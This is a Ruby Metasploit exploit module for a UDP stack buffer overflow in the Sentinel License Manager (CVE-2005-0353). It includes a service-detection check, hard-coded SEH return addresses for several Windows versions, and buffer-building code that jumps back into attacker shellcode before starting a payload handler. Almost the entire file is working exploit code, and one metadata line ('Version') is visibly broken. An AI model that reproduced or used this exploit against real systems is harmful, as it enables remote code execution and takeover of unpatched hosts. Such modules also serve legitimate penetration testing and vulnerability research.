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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'SentinelLM UDP Buffer Overflow',
'Description' => %q{
This module exploits a simple stack overflow in the Sentinel
License Manager. The SentinelLM service is installed with a
wide selection of products and seems particular popular with
academic products. If the wrong target value is selected,
the service will crash and not restart.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision
,
'References' =>
[
[ 'CVE', '2005-0353'],
[ 'OSVDB', '14605'],
[ 'BID', '12742'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
],
'DisclosureDate' => 'Mar 07 2005' ))
register_options(
[
Opt::RPORT(5093)
], self.class)
end
def check
connect_udp
udp_sock.put("\x7a\x00\x00\x00\x00\x00")
res = udp_sock.recvfrom(8192)
disconnect_udp
if (res and res[0] == 0x7a)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect_udp
# Payload goes first
buf = payload.encoded + rand_text_english(2048-payload.encoded.length)
# Return to a pop/pop/ret via SEH
buf[836, 4] = [target.ret].pack('V')
# The pop/pop/ret takes us here, jump back 5 bytes
buf[832, 2] = "\xeb\xf9"
# Now jump all the way back to our shellcode
buf[827, 5] = "\xe9" + [-829].pack('V')
udp_sock.put(buf)
udp_sock.recvfrom(8192)
handler
disconnect_udp
end
end
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